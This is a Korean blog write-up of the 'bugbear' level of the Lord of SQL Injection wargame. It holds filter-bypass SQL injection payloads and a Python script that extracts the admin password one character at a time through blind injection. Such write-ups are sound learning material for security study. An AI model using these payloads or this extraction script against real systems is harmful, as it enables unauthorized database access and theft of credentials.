pw에서는 '를, no에서는 substr, ascii, =, or, and, like, 0x, 공백, '를 필터링하고 있다.
각종 우회방법을 사용해 hello admin을 띄워냈다!
"는 필터링하고 있지 않으니 '대신 사용하면 되고, =은 instr함수로, or은 ||으로, 공백은 %0a로 우회했다.
no=1%0a||%0ainstr(id,"admin")%23
이번에도 패스워드는 8자리였다. 부등호로 우회했다.
no=1%0a||%0ainstr(id,"admin")%0a&&length>7&&length<9%23
mid함수와 hex함수, in함수를 사용해 스크립트를 작성했다.
import requests
headers = {'Cookie' : 'PHPSESSID=세션값;'}
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
for i in range(1, 9):
for ch in range(48, 126):
data = "?no=1%0a||hex(mid(pw,"+str(i)+",1))%0ain%0a(hex("+str(ch)+"))%23"
r = requests.get(url + data, headers = headers)
if 'Hello admin' in r.text:
print(i, ':', chr(ch))
break
저번부터 스크립트가 이상한건지 뭔지 모르겠는데 잘 안된다.
처음 코드는 직접 넣어보는데 계속 참만 나와서 admin을 지우고 다시 작성했다.
그나마 성공한 스크립트가 이건데
7번째는 나오지도 않았다...
노가다해서 하나만 찾고 클리어할 수 있었다.
'Web Hacking > LoS' 카테고리의 다른 글
[Lord of SQL Injection] los assassin (0) | 2021.08.03 |
---|---|
[Lord of SQL Injection] los giant (0) | 2021.08.03 |
[Lord of SQL Injection] los darkknight (0) | 2021.07.18 |
[Lord of SQLINJECTION] los golem (0) | 2021.07.11 |
[Lord of SQL Injection] los skeleton (0) | 2021.06.28 |